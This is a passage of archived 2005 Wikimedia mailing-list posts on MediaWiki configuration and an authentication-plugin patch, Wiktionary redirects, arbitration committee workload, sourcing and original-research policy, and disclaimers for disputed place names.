-- brion vibber (brion @ pobox.com)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 253 bytes
Desc: OpenPGP digital signature
URL: <http://lists.wikimedia.org/pipermail/wikitech-l/attachments/20050723/4ba32335/attachment.pgp>


subject:
[Wikipedia-l] not-working link "Wiki does not exist" on
	all	wikipedias

body:
Elly Waterman wrote:
> At the Dutch wikipedia somebody noted that the link on the bottom right hand
> side of each page,  eg. the "powered by Mediawiki" logo leads to a page
> titled "Wiki does not exist", http://www.mediawiki.org/
>
> Is this correct? If not, does anybody know what the correct link should be
> and how it should be corrected?

The configuration was a little borken. It should now be working
correctly. (If you get the cached 'wiki missing' page, try hitting ctrl
or shift along with the reload button to force a full reload.)

-- brion vibber (brion @ pobox.com)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 253 bytes
Desc: OpenPGP digital signature
Url : http://lists.wikimedia.org/pipermail/wikipedia-l/attachments/20050723/e7f24fac/attachment.pgp


from_name: Rob Lanphier

body:
On Sat, 2005-07-23 at 11:10 +0200, Brion Vibber wrote:
> Rob Lanphier wrote:
> > However, I log back out and log back in as "RoBLA".  It allows this too.
> > Yay?  Looking at the user db, it appears to have auto-created accounts
> > for "RobLa" and "RoBLA".  Boo!
> >
> > My inclination is to add a new method
> > AuthPlugin::getCanonicalName($username), which gets called from
> > User::newFromName.  That'll give my plugin (or any AuthPlugin) a crack
> > at munging the name just before an account is created.
>
> You should be able to modify the name on the user object as it's passed
> through to you to use the canonical case form.

I don't believe that the user object is getting properly passed through
at a time that it does any good.  Most of the current interfaces pass
copies of the "username" string up until the point where there's a
verified account (too late).  AuthPlugin::initUser is the first crack I
get at a user object that's been explicitly passed through, which is too
late.

So, my options appear to be:
1.  (my current approach) add call to AuthPlugin::setCanonicalName in
User::newFromName.  I coded this last night, and it seems to work pretty
well, but does require a patch.
2.  Try munging a global, such as $wgUser, in AuthPlugin::authenticate.
I haven't yet worked out if that'll actually do the trick, since it
appears that the mName member of LoginForm object is the name that is
being used right up until account creation, and I don't think AuthPlugin
has access to it (as a global, by passed-in reference, or otherwise).
Regardless, I'm assuming that munging globals from plugins is bad
behavior that'll eventually break.  That said, I much prefer a solution
that won't require a patch, so I'm willing to go that route for 1.5.

I'm assuming that getting a patch included in the mainline 1.5 release
is pretty tough at this point, which is fine.  I'm hoping to target a
patch for the release after, if we agree that one is needed for clean
integration.  In the meantime, I'll work around the issue for 1.5.

I've included the patch thus far, which is against CVS head.

Rob


from_name: steve v

body:
The Arbom is thinning because its been stretched--same
with the MC. Making a separate NPOV committee for
handling specifically npov issues would save work for
both AC and MC, and would be a natural and responsive
expansion of the committee model to focus on an
extremely important aspect.

As I understand it, BDFL approval is required to form
a new formal committee, though in the interests of
responsiveness, that too might need some abstraction.

SV

--- Skyring <skyring at gmail.com> wrote:

> On 7/22/05, Jimmy Wales <jwales at wikia.com> wrote:
>
> > This is an absolutely horrible job, guaranteed to
> earn you general
> > condemnation for being both a wimp and a tyrant,
> and I most sincerely
> > apologize to the poor victims I am pulling into
> our service here.
>
> It isn't wimp/tyrant from where I sit. It's that
> stressed people don't
> perform well. Good editors don't necessarily make
> good arbitrators and
> if you force people to do what they aren't good at
> and put a lot of
> pressure on them, you are asking for trouble.
>
> An ArbCom decision should be the result of
> understanding the issues
> and reaching a fair decision. Not finding an easy
> way out and rushing
> off to the next case.
>
> The system needs changing. Who'd want to be an
> ArbCom member if the
> certain result is a LOT of hard work and stress?
>
> Here's a thought. Draft a random bunch of admins to
> investigate a
> case. Give them temporary IDs so they can be
> anonymous if they want.
> They can do all the hard work and come up with a
> summary of evidence,
> consensus view on points of difference and
> agreement, possible
> solutions. The ArbCom can then review the case once
> it's prepared in a
> reasonably professional manner.
>
> This would shift a lot of the work to editors
> willing and able to do
> it, and the ArbCom can then function in a role more
> suited to
> management and arbitration, rather than wading
> through a morass of
> claims and counterclaims, diffs and so on.
>
> --
> Peter in Canberra
> _______________________________________________
> WikiEN-l mailing list
> WikiEN-l at Wikipedia.org
> http://mail.wikipedia.org/mailman/listinfo/wikien-l
>

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around
http://mail.yahoo.com


body:
Impressive responses. One point: OR is often used as a
an excuse to squash certain debated points, without
allowing them to devlop (including citing sources).
A silly example might be something like "go find some
source for your notion that the world is round, and
come back when you do so." Such source can then be
debated for a while. So, while NOR is policy,
consensus means that common sense prevails, and that
merely adding a point of debate in appropriate
section, with good language, is often just a good way
to get there without being excessive.

*Sources are a requirement : but they arent a
prerequisite.* To say so would mean that articles
can't grow in the wiki way, but instead are crafted
with notions of finished product. Sources can be added
by any editor, not just by ones adding material. And
one "side's" removal of material on the basis of an
NOR claim often winds up just being an expression of
easy exclusionism rather than hard sourcing for a view
one might be disagreeable with. Good process is simply
putting the debatable part in context, under a
separate section.

(Tip: I often <!-- comment // hide material --> in the
article itself when Im not sure, when there's likely
to be some debate, or when the section needs to be
rewritten in a way Im not sure how to do.)

SV

--- David Gerard <fun at thingy.apana.org.au> wrote:

> Fred Bauder (fredbaud at ctelco.net) [050723 23:40]:
>
> >  I suppose a
> > problematic example could be found on the
> borderland and discussed,
> > but I think it is best to solve the problem when
> it arises rather
> > than to make policy based on hypothetical
> examples. Perhaps this is
> > just my common law heritage speaking here...
>
>
> I agree. Editorial judgement is ideally what we want
> being used in all
> cases. Making policy satisfies those
> constitutionally unable to tolerate
> ambiguity, but mostly it creates handy weaponry for
> querulous wikilawyers *
> to try to use to get their way. [[Wikipedia is not]]
> a game of [[nomic]].
>
>
> - d.
>
>
>
>
> * as opposed to wiki lawyers, such as Fred ;-)
> _______________________________________________
> WikiEN-l mailing list
> WikiEN-l at Wikipedia.org
> http://mail.wikipedia.org/mailman/listinfo/wikien-l
>

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around
http://mail.yahoo.com


from_name: Andrew Dunbar

body:
On 7/22/05, Gerard Meijssen <gerard.meijssen at gmail.com> wrote:

> Idiom, proverbs will be a "wordtype" as much as noun is. Therefore a
> proverb will relate to a keyword through WordRelation. I have updated
> the table Relation with a newfield "SameLanguageOnly" this ensures that
> the relation is applicable within the same language so the relation
> would be "proverb" and it would combine "apple" with "an apple a day
> keeps the doctor away".

In this case how will you prevent loss of which function an idiom has:
"to eat one's hat" is a verb and an idiom. A "red herring" is an idiom and
a noun.

--
http://linguaphile.sf.net


subject: [WikiEN-l] The (ab)use of disclaimers

body:
The fork tag/header is primarily intended as pointer
to other uses of the term. Using {{otheruses}} often
serves this quite well. The tendency for fork tags
(and template messages) to become abused as
disclaimer/definition tags is a pervasive trend, which
requires continuous pruning. Prune away.

In some cases, like with Libertarianism, there has
been some "consensus" to use a large disclaimer
header, but these are moreoften an eyesore. In that
case, it also represents an expression that "right
libertarianism" is "libertarianism" while other forms
are something else. Its not worth fighting over.
(Libertarians are as bad as Scientologists (or LDS, if
youre Eloquence)--just prune their excessiveness and
POV, (especially the overuse of
template:libertarianism) and state your reasoning for
doing so clearly.

In some cases, I'll accept something like "this
article is regarding foo. For other uses..." but I
highly dislike any other links, and likewise any other
"explanatory" language. Thats not what theyre for.
Something like "this article... for the type of foo...
for the foo..." can just be cut down to the above,
changing particular links to a disambiguation. (make
one if none). Nobody wants to read "for the heavy
metal band named Saint Foo, see Saint Foo (band)" when
their looking for religion.

SV

--- disclist at dapyx-soft.com wrote:

> There is a consensus (claimed by [[User:Theathenae]]
> in [[Talk:Macedonian
> denar]]) that every article where the name of the
> [[Republic of
> Macedonia]] is used, should include this disclaimer
> in a "note" section:
>
> <<
> ==Note==
>
> * The use of the terms Republic of Macedonia and
> Macedonian(s) throughout
> this article is not meant to imply an official
> position on the naming
> dispute between Athens and Skopje. See Foreign
> relations of the Republic
> of Macedonia#Naming_dispute_with_Greece,
> Republic_of_Macedonia#Naming_Dispute and United
> Nations Resolution 817
> (1993)
>
> >>
> (see it at [[Macedonian denar]])
>
> I think this is a bad precedent. I wonder how long
> it would be until other
> disputed names would get the same kind of
> disclaimer.
>
>
>
> _______________________________________________
> WikiEN-l mailing list
> WikiEN-l at Wikipedia.org
> http://mail.wikipedia.org/mailman/listinfo/wikien-l
>

____________________________________________________
Start your day with Yahoo! - make it your home page
http://www.yahoo.com/r/hs


subject: [WikiEN-l] The (ab)use of disclaimers

body:
There is a consensus (claimed by [[User:Theathenae]] in [[Talk:Macedonian
denar]]) that every article where the name of the [[Republic of
Macedonia]] is used, should include this disclaimer in a "note" section:

<<
==Note==

* The use of the terms Republic of Macedonia and Macedonian(s) throughout
this article is not meant to imply an official position on the naming
dispute between Athens and Skopje. See Foreign relations of the Republic
of Macedonia#Naming_dispute_with_Greece,
Republic_of_Macedonia#Naming_Dispute and United Nations Resolution 817
(1993)

>>
(see it at [[Macedonian denar]])

I think this is a bad precedent. I wonder how long it would be until other
disputed names would get the same kind of disclaimer.


from_name: Heiko Evermann

subject: [Wikitech-l] Special:recentchanges is broken in nds.wikpedia.org

body:
Hi everyone,

for some days there is something missing in
http://nds.wikipedia.org/wiki/Spezial:Recentchanges

There should be a line like the English
>Hide minor edits | Show bots | Hide logged in users
or in Low Saxon
>"L?tte ?nnern $1. Bots $2. Anmellt Brukers $3. Kontrolleerte ?nnern $4."

after
>Wies de letzten 50 | 100 | 250 | 500 ?nnern; wies de letzten 1 | 3 | 7 | 14 |
30 Daag.

(Below are the last 50 changes in the last 7 days.
Show last 50 | 100 | 250 | 500 changes in last 1 | 3 | 7 | 14 | 30 days)

But this line is entirely missing.

I have not been able to find the source of this problem.

Maybe someone from the wikitech-list can help me?

Kind regards,

Heiko Evermann
admin in nds.wikipedia.org


subject: [Wikitech-l] Ultimate Wiktionary and design decisions

body:
Hoi,

I had an interesting conversation with Brion. We do not agree on
everything. One of the things we do not agree on are redirects.

In my opinion, Wiktionary should not have redirects. A word is either
spelled correctly and it will have its lemma or it is not and there will
not be a lemma with the incorrect spelling.
In Brions opinion there are links to lemmas and as we need to ensure
that these links remain ok, we need redirects to make this possible.

In a Wikipedia context I am 100% with Brion. In a Wiktionary context it
is a different matter. As only correctly spelled words should be in a
Wiktionary, errors should be deleted. Some of our Wiktionaries for
historical reasons are capitalising their articles. In essence this
means that from a spelling point of view the name of the lemmas are
irrelevant. However, many people assume that the name of the article
indicates that a word is spelled correctly. To remedy this, more and
more wiktionaries are moving away from first character capitalisation
and make it possible to have correctly spelled words as a lemma.

When a wiktionary has made this move away from first character
capitalisation, the interwiki and interproject links within the
Wikimedia projects need to be fixed. After this, the redirects can in my
opinion be removed. I think this is appropriate because users expect
that an application behaves in certain ways. When new content is added
to a non-capitalised Wiktionary, the word foo will not have a redirect
in Foo and consequently it behaves differently from the content
predating the move to non-capitalisation. Also words like Kinder and
kinder are not related at all. The redirect at Kinder will be replaced
at some stage breaking the existing redirect and consequently not
providing the continuance that Brion holds dear.

For the Ultimate Wiktionary I have documented some of the design
criteria. It can be found here:
http://meta.wikimedia.org/wiki/Ultimate_Wiktionary_decisions_on_its_usage
The Data design can be found here:
http://meta.wikimedia.org/wiki/Ultimate_Wiktionary_data_design

One crucial decision is that only correct spelling is allowed. This
means that all incorrect spelling will be amended or deleted. As
Ultimate Wiktionary is a database, it does not cater for things like
redirects. I urge you to have a look at both the design criteria and the
design itself because this is the time when it is relatively easy to
make changes. Once Erik starts coding the UW database, having finished
Wikidata and the GEMET implementation, the moment has passed us by.

Thanks,
   GerardM


list: wiktionary-l

subject: [Wiktionary-l] Ultimate Wiktionary and design decisions


from_name: Geoff Burling

subject: [WikiEN-l] Re: Plagiarism Policy, was A Missing Policy

body:
(Sorry for not responding to this thread sooner. I've been very busy
in the last few days, including losing my glasses & having to get them
repalced.)

On Thu, 21 Jul 2005, Matt Brown wrote:

> On 7/20/05, Geoff Burling <llywrch at agora.rdrop.com> wrote:
> > As I pointed out in another email, adding plagiarised content to Wikipedia
> > can be understood as taking written material someone owns & releases it
> > under the GFDL or Creative Commons without first consulting the author
> > or owner.
>
> I think you are confusing copyright infringement with plagiarism.  We
> already have policies against copyright infringement, and enforce them
> fairly strictly.  I think the rest of us were talking about the kind
> of plagiarism that did not involve copyright infringement.
>
> I don't think there is any doubt about having zero tolerance for
> copyright infringement.
>
Well, since at least one person thinks I am not clear about what I'm
talking about, let's take a look at the article that prompted to ask
for a disinterested opinion about plagiarism, [[1868 expedition to Ethiopia]].
Please take a look at the history of this article, & the source from which
it is taken before reading further.

(Note: my concern for this article, & the whole question of plagiarism
arose from trying to find a way to salvage something from this article:
there are a lot of holes in our coverage of Ethiopia, & this submission
helps to covers an important event of Ethiopian history. If it is deleted,
I could replace it with content for which there is no question of
copyright -- but that would take a long time for me to create, since I
have a couple dozen other articles in the pipeline. So I would like
to save myself some work -- & encourage a Wikipedian to keep contirbuting.)

Now, having examined the two documents, I hope we will all agree that
the Wikipedia article has been derived from the other article, *but*
acknowledge that some changes in the text have occured: the addition of
a header paragraph, section headers, & some rephrasing. This article
has wording unique to Wikipedia, yet it uses words or phrases from the
parent document. Thus I feel that we are confronted with one of 3 cases:

* Conclude that, despite the changes made to the original test that this
is a copyright violation because the original source can be recognized
& delete it. However, if we do this, then we encounter the problem -- as
Fred Bauer expressed it -- of ignoring whether the Wikipedian is guilty
of nothing more than clumsiness in his rephrasing of the original.

* Conclude that the changes, as few as they are, meets the statutory
requirement of creating new content, & keep the article. However, if we
do that, then we are infringing in a visible way on the rights of the
original author. I'm not entirely sure that simply adding an acknowledgement
that we re-used the original author's words to the Wikipedia article
will make everything honkey-dorey now.

* The third conclusion: this is plagiarism, not copyright infringement,
not some original rephrasing or rewriting of a topic someone else has
written about. By doing so, we acknowledge that the text exists in a
state between our first two choices, which might not have become an
issue if the Wikipedian had included in a reasonable time proper credit
to her/his source.

Note: my use of the plagiarism to denote unattributed reuse of wording
from another author falls within the understood use of that word. I
would like to point to http://www.indiana.edu/~istd/definition.html,
where the definition of plagiarism includes reuse of "ideas, words,
or statements of another person without appropriate acknowledgment".
Please carefully note the phrases "words or statements"; if someone
can trace the source of a Wikipedia article thru a simple Google search,
& there is no acknowledgement of the source, it is plagiarism, regardless
how extensively the orginal article is rewritten.

And this problem will recur whenever a Wikipedian adapts material
taken from another source, no matter where or how we draw the line between
"original content" & "copyright violation". I feel it is better to
acknowledge that there is a fuzzy boundary here, that the fuzziness
should be acknowledged -- but a decision must be made whether to
accept the problematic case into Wikipedia -- or delete it.

And yes, hard cases make bad law, but these are the cases that in the
end get sent up to someone with more authority to make a decision on.
I'd rather let a consensus of a large, informed & thoughtful group do
it, than a small few who don't reflect the opinions of the Wikipedia
community.

And if you are sick of listening to my tendentious whinging on this
matter, then go to the appropriate page & register that you either
agree or disagree with my opinion. Including the person who listed this
article as a copyvio, only 3 people have expressed an opinion about
the copyright status of this article: one person wants to remove the
article, another wants to keep it, & my comment wondering about its
status. If people add to the discussion, then I'll learn -- if nothing
else -- that I'm mistaken about this whole issue.

Geoff


from_name: T. Khan

subject: [WikiEN-l] Criticism of Islam being suppressed at Wiki

body:
I have been blocked by Administrator SlimVirgin for an
indefinate period.  The charge is that I have created
Sock puppets to get around the 3RR policy on the Islam
page.  I have done no such thing.

Islam page is controversial because Islam is
controversial these days.  Islam would not be
controversial if muslim had not gone around beheading
infidels on TV, suicide bombing in London, Madrid,
Kashmir, and today Egypt.  I have been advocating
including a link to a Ex-Muslim site directory that
contains links to many anti-Islam sites.  Instead of
attempting to discuss this on the talk page, the
action has been to ban myself, who is not an
ex-muslim, and others who are for an indefinate
period.

I am new to the Wiki routine and hence do not know the
proper protocols to follow, but I do know that free
speech dies when attempts to quash criticism is not
given the maximum exposure in every possible venue ...
hence this letter.

I wish nothing but the best for Wiki, and I hope that
this matter will be resolved to the open Wiki
standards.

Thanks for reading,

Nickbee.

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around
http://mail.yahoo.com


from_name: Chris Lüer

subject: [WikiEN-l] Re: Example vs. Original research

body:
At 06:40 PM 7/23/2005, Daniel P. B. Smith wrote:

>Once I've cited the source, I can replace the sentence in the article
>that says "the world is round" with the sentence "The U. S. Naval
>Oceanographic Office states that for many navigational purposes the
>earth is assumed to be a sphere, without intolerable error." Problem
>solved.

Of course, now you have replaced a four-word sentence that a child
could understand by a 22-word monster that makes tears come to my
eyes. Double negative included. And someone who's not from the USA
might wonder why the US Navy gets to decide what the shape of the Earth is.

But I agree with your point.

         Chl


from_name: closedshop

subject: [Wikitech-l] wikipedia in korean, japan and chinese language

body:
Hi, is a wikipedia as well online or possible for these languages:
korean, japan and chinese ?

Would be very good, if the wikipedia foundation can provide the
infrastructur to have these languages as well, so that chinese people
inside and outside china  can fill them, would be good, if a side or
keyword is created,t o have the english key word chossen as a must !

so we kan link to the chinese term and vice versa, this means: any
chinese person, which is able to read another langauage, can read the
same atricle very easy in a different language and so the chinese
politic of  censorship is not so strong.

So please make a MUST for chinese keywords to look up and specify the
english one,
 maybe a student can be hired to adim the chinese wiki server
thanks


body:
well i see they are here
http://en.wikipedia.org/wiki/Wikipedia:Languages
maybe for these language the link is interesting, to have an english
keyword related and seen as a must ?

> Hi, is a wikipedia as well online or possible for these languages:
> korean, japan and chinese ?
>
> Would be very good, if the wikipedia foundation can provide the
> infrastructur to have these languages as well, so that chinese people
> inside and outside china  can fill them, would be good, if a side or
> keyword is created,t o have the english key word chossen as a must !
>
> so we kan link to the chinese term and vice versa, this means: any
> chinese person, which is able to read another langauage, can read the
> same atricle very easy in a different language and so the chinese
> politic of  censorship is not so strong.
>
> So please make a MUST for chinese keywords to look up and specify the
> english one,
> maybe a student can be hired to adim the chinese wiki server
> thanks
>
> _______________________________________________
> Wikitech-l mailing list
> Wikitech-l at wikimedia.org
> http://mail.wikipedia.org/mailman/listinfo/wikitech-l
>
>


from_name: Daniel P. B. Smith

body:
On Jul 23, 2005, at 6:21 PM, wikien-l-request at Wikipedia.org wrote:
> Impressive responses. One point: OR is often used as a
> an excuse to squash certain debated points, without
> allowing them to devlop (including citing sources).
> A silly example might be something like "go find some
> source for your notion that the world is round, and
> come back when you do so." Such source can then be
> debated for a while.

I, and everyone else, frequently insert stuff that is "well known"
without citing sources. "Beethoven is widely regarded as one of the
greatest of composers..." "f = m * a"...

However, whenever a statement, however obvious, is seriously
challenged, I take it seriously.

IF something is TRULY well known, it is usually EASY to find a
source. When someone says cite a source, I just find one and cite it.

And the article is the better for it.

Let's take "The world is round." I have just spent ten minutes
browsing my bookshelves looking for the clearest citation. A popular
book by Menzel entitled Astronomy... nope. "A Field Guide to the
Stars and Planets?" Nope. "Norton's Star Atlas?" Nope. All of them
give the radius of the earth... but fail to say in so many words that
the world is round, because, well, everybody knows that.

Aha. I have it.

"The earth is approximately an oblate spheroid (a sphere flattened at
the poles.... For many navigational purposes the earth is assumed to
be a sphere, without intolerable error."

There you go. _American Practical Navigator: An Epitome of
Navigation_, originally by Nathaniel Bowditch, LL. D. 1966--Corrected
Print. Published by the U.S. Naval Oceanographic Office. U. S.
Government Printing Office, 1966. Pp. 62-63.

And that settles it. Nobody can argue that _that_ book doesn't
contain _that_ sentence. Anyone can check it out. It does. Any
argument about the authority of the book is beside the point. It's an
objective fact that that book contains that sentence.

Once I've cited the source, I can replace the sentence in the article
that says "the world is round" with the sentence "The U. S. Naval
Oceanographic Office states that for many navigational purposes the
earth is assumed to be a sphere, without intolerable error." Problem
solved.

It's now up to anyone who disagrees with it to cite _their_ source.
It's up to the reader to judge which sources are reliable. If the
reader trusts John Cleves Symmes, Jr. more than he or she trusts the
U. S. Naval Oceanographic Office, that's their prerogative.

--
Jean is going to be bicycling 83 miles in the Pan Mass Challenge in
August, raising money for cancer research. Her profile is at http://
www.pmc.org/mypmc/profiles.asp?Section=story&eGiftID=JS0417


subject: [Wikipedia-l] Thanks everyone

body:
Daniel Mayer (maveric149 at yahoo.com) [050723 11:12]:
> --- David Gerard <fun at thingy.apana.org.au> wrote:

> > This is a possibly unsolvable problem: people who turn an article on their
> > favoured celebrity into something closer to hagiography and are obsessed
> > with keeping it that way.

> Come come. The ArbCom has dealt with this before and can do so again. This type
> of activity can not be tolerated.

It's endemic. Look at the article for almost any pop diva you can think of.
I wasn't in any way thinking of a specific case.

- d.


body:
Hi Gerard,
> I had an interesting conversation with Brion. We do not agree on
> everything. One of the things we do not agree on are redirects.
>
> In my opinion, Wiktionary should not have redirects. A word is either
> spelled correctly and it will have its lemma or it is not and there will
> not be a lemma with the incorrect spelling.
> In Brions opinion there are links to lemmas and as we need to ensure
> that these links remain ok, we need redirects to make this possible.
This might work for English, but not for all languages.
I think that redirects should be possible. This would make sense for
1) verb conjugation. I would like to simply link most of the declination forms
to the main verb entry, as long as no other language entry uses the same
heading.
Example: Low Saxon conjugation of "to be".
"He was" => "he weer". I would simply redirect this to "wesen" (en: to be). I
would not like to be forced to write a whole article stating that "he weer"
is 3. person sing, simple present of "wesen". I would like to include the
conjugation table only once.
2) dialect variations (of which we have a lot in Low Saxon): for "to be" we
have "ween/wesen/sien" as regional dialects. I would redirect two of them to
the "wesen". I would not like to be forced to write a whole article stating
that "ween" is a variant of "wesen".
3) orthography variations. We also have several competing orthographies for
Low Saxon. I would like to be able to just redirect to the main orthography
that we use.

In the end it might be nice to have all such explanations, but
nds.wiktionary.org still has to be written, and it would simplify this
writing a lot.

> One crucial decision is that only correct spelling is allowed.
This is a no-go for minor languages where "correct" spelling does not exist.

Kind regards,

Heiko Evermann


subject: [Wikipedia-l] Re: Thanks everyone

body:
Hi Janisc
> I'm a novice here so how can you tell if the photograph is public domain
> use?
If you have taken it by yourself, you can release it in the public domain.
(Unless some special cases apply. E.g. photos of installations of the artist
Christo are still under HIS copyright, once his installation is taken down,
at least in Germany. Photos of pieces of art that you do not own belong to
the owner in several countries, if the piece of art is young enough.

If you have not taken the picture yourself, you have to ask the one who took
it, whether he/she releases it in the public domain.

If you do not know, simply assume that it *isn't* in the public domain.
Besides "fair use" is not enough in several wikipedias apart from
en.wikipedia.org, e.g. in the German one.

Kind regards,

Heiko Evermann


body:
Gerard Meijssen wrote:
> I had an interesting conversation with Brion. We do not agree on
> everything. One of the things we do not agree on are redirects.
>
> In my opinion, Wiktionary should not have redirects. A word is either
> spelled correctly and it will have its lemma or it is not and there will
> not be a lemma with the incorrect spelling.
> In Brions opinion there are links to lemmas and as we need to ensure
> that these links remain ok, we need redirects to make this possible.

The gap between my thinking and Gerard's thinking appears to be that
Gerard considers redirects to be canonincal content; thus having a
"wrong spelling" in a URL somehow implies that this is a "correct"
spelling, which is therefore wrong and should be removed.

To my mind however, redirects are not content. They are metacontent:
compatibility tools used to provide corrections, by sending a visitor to
the correct page if they're using an outdated link.

In the case of a "misspelling" which has been moved to the correct
spelling, this means a reference to the wrong spelling is automatically
corrected when a visitor returns to that page. Not only is the visitor
now brought to the correct location of the entry, but it's prominently
labeled with the correct spelling at the top.

They do not imply that a "wrong" spelling is correct, but rather do the
exact opposite. Gerard's argument for deleting redirects thus, in my
opinion, fails.

More generally, it's completely irresponsible for a web-based resource
to rearrange content pages without providing a redirect from the old
URL. This is a basic principle which applies just as much to Wiktionary
as to Wikipedia, just as much to Hewlett Packard's driver web pages as
to Slashdot postings, just as much to a database of autogenerated
earthquake reports or a collection of press releases as to an online
academic journal.

Wiktionary has no special dispensation: if we want people to believe
this is a legitimate resource which can be used and referenced,
maintaining URL compatibility is a non-negotioable requirement.

> When a wiktionary has made this move away from first character
> capitalisation, the interwiki and interproject links within the
> Wikimedia projects need to be fixed. After this, the redirects can in my
> opinion be removed.

This would be harmful to the project, as it would still break every such
link that may exist offsite:
* personal bookmarks
* links from other sites
* URLs published as references in papers or books
* etc

Some online links will eventually be noticed and corrected. Others never
will be. Offline links (printed as references in papers, etc) will be
broken forever unless someone notices and recreates the redirect.
(Unless Gerard comes and deletes it again. ;)

For a primarily web-based resource, it would be the height of
unprofessional behavior to render something like 99% of our pages
inaccessible from the URLs they've been at for years.

Deleting redirects is bad for our users, it's bad for anyone who wants
to rely on our resources as reference works, it's bad for anyone who
wants to link to our site, it's just plain bad.

-- brion vibber (brion @ pobox.com)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 253 bytes
Desc: OpenPGP digital signature
URL: <http://lists.wikimedia.org/pipermail/wikitech-l/attachments/20050723/1f46a33d/attachment.pgp>


body:
Rob Lanphier wrote:
> 1.  (my current approach) add call to AuthPlugin::setCanonicalName in
> User::newFromName.  I coded this last night, and it seems to work pretty
> well, but does require a patch.

Open up an enhancement on bugzilla and post this patch. :)

(Patches don't generally survive the mailing list filters. We've got
most attachments disabled due to a few past incidences with virus
attachments getting through.)

> I'm assuming that getting a patch included in the mainline 1.5 release
> is pretty tough at this point, which is fine.  I'm hoping to target a
> patch for the release after, if we agree that one is needed for clean
> integration.  In the meantime, I'll work around the issue for 1.5.

If it's small, to the point, non-invasive, and bug-free then yes I'd
love to see it in.

-- brion viber (brion @ pobox.com)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 253 bytes
Desc: OpenPGP digital signature
URL: <http://lists.wikimedia.org/pipermail/wikitech-l/attachments/20050723/def52468/attachment.pgp>


body:
closedshop wrote:
> Hi, is a wikipedia as well online or possible for these languages:
> korean, japan and chinese ?

http://ko.wikipedia.org/
http://ja.wikipedia.org/
http://zh.wikipedia.org/

> so we kan link to the chinese term and vice versa, this means: any
> chinese person, which is able to read another langauage, can read the
> same atricle very easy in a different language and so the chinese
> politic of  censorship is not so strong.

http://en.wikipedia.org/wiki/Wikipedia:Interlanguage_links

-- brion vibber (brion @ pobox.com)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 253 bytes
Desc: OpenPGP digital signature
URL: <http://lists.wikimedia.org/pipermail/wikitech-l/attachments/20050723/87aa70e8/attachment.pgp>


from_name: Dan Grey

body:
On 23/07/05, steve v <vertigosteve at yahoo.com> wrote:
> Making a separate NPOV committee for
> handling specifically npov issues would save work for
> both AC and MC, and would be a natural and responsive
> expansion of the committee model to focus on an
> extremely important aspect.
>
> As I understand it, BDFL approval is required to form
> a new formal committee, though in the interests of
> responsiveness, that too might need some abstraction.
>

This is something that has been discussed. A lot. It didn't come to
anything though:

http://en.wikipedia.org/wiki/Wikipedia:Requests_for_arbitration/RFC

Dan


body:
Fred Bauder (fredbaud at ctelco.net) [050723 23:40]:

>  I suppose a
> problematic example could be found on the borderland and discussed,
> but I think it is best to solve the problem when it arises rather
> than to make policy based on hypothetical examples. Perhaps this is
> just my common law heritage speaking here...

I agree. Editorial judgement is ideally what we want being used in all
cases. Making policy satisfies those constitutionally unable to tolerate
ambiguity, but mostly it creates handy weaponry for querulous wikilawyers *
to try to use to get their way. [[Wikipedia is not]] a game of [[nomic]].

- d.

* as opposed to wiki lawyers, such as Fred ;-)


from_name: JAY JG

body:
>From: "Daniel P. B. Smith" <dpbsmith at verizon.net>
>
>On Jul 23, 2005, at 6:21 PM, wikien-l-request at Wikipedia.org wrote:
>>Impressive responses. One point: OR is often used as a
>>an excuse to squash certain debated points, without
>>allowing them to devlop (including citing sources).
>>A silly example might be something like "go find some
>>source for your notion that the world is round, and
>>come back when you do so." Such source can then be
>>debated for a while.
>
>I, and everyone else, frequently insert stuff that is "well known"  without
>citing sources. "Beethoven is widely regarded as one of the  greatest of
>composers..." "f = m * a"...
>
>However, whenever a statement, however obvious, is seriously  challenged, I
>take it seriously.
>
>IF something is TRULY well known, it is usually EASY to find a  source.
>When someone says cite a source, I just find one and cite it
>.
>And the article is the better for it.
>

Exactly so.  People who claim that NOR is used to quash certain obvious
facts that are so well-known that they don't need to be cited.  However, it
is generally easy to find citations for obvious facts.  Often the search and
citation will help refine the information provided so that it is even more
accurate.  Sometimes it will turn out that this "obvious fact" is merely one
POV, and further study will reveal opposing viewpoints, thus contributing to
NPOV. And if the obvious fact can't be found at all, then it's usually a
classic case of Original Research masquerading as "obvious fact".

>"The earth is approximately an oblate spheroid (a sphere flattened at  the
>poles.... For many navigational purposes the earth is assumed to  be a
>sphere, without intolerable error."

And now the article is even better, because "round" can describe a number of
shapes, so "sphere" is more accurate.

>Once I've cited the source, I can replace the sentence in the article  that
>says "the world is round" with the sentence "The U. S. Naval  Oceanographic
>Office states that for many navigational purposes the  earth is assumed to
>be a sphere, without intolerable error." Problem  solved.

A more lengthy search will usually reveal a number of different sources
corroborating this fact; at that point one can simply state "the earth is a
sphere", with a footnote listing the multiple sources confirming that.

Jay.


subject: [WikiEN-l] The (ab)use of disclaimers

body:
>From: <disclist at dapyx-soft.com>
>There is a consensus (claimed by [[User:Theathenae]] in [[Talk:Macedonian
>denar]]) that every article where the name of the [[Republic of
>Macedonia]] is used, should include this disclaimer in a "note" section:
>
><<
>==Note==
>
>* The use of the terms Republic of Macedonia and Macedonian(s) throughout
>this article is not meant to imply an official position on the naming
>dispute between Athens and Skopje. See Foreign relations of the Republic
>of Macedonia#Naming_dispute_with_Greece,
>Republic_of_Macedonia#Naming_Dispute and United Nations Resolution 817
>(1993)
>
> >>
>(see it at [[Macedonian denar]])
>
>I think this is a bad precedent. I wonder how long it would be until other
>disputed names would get the same kind of disclaimer.
>

This is indeed an extremely bad precedent.  Not only does it mean
boilerplate text in dozens of articles referring to this topic alone, all of
which will have to be kept in synch in some way, but it will inevitably be
extended to every territorial dispute.  Thus any reference to [[Northern
Ireland]] will need to have a disclaimer indicating that by using the name
"Northern Ireland" as opposed to "The Six Counties", Wikipedia is not taking
any position in the Republican/Loyalist dispute, any reference to the
[[Republic of China]] will need a disclaimer indicating that Wikipedia is
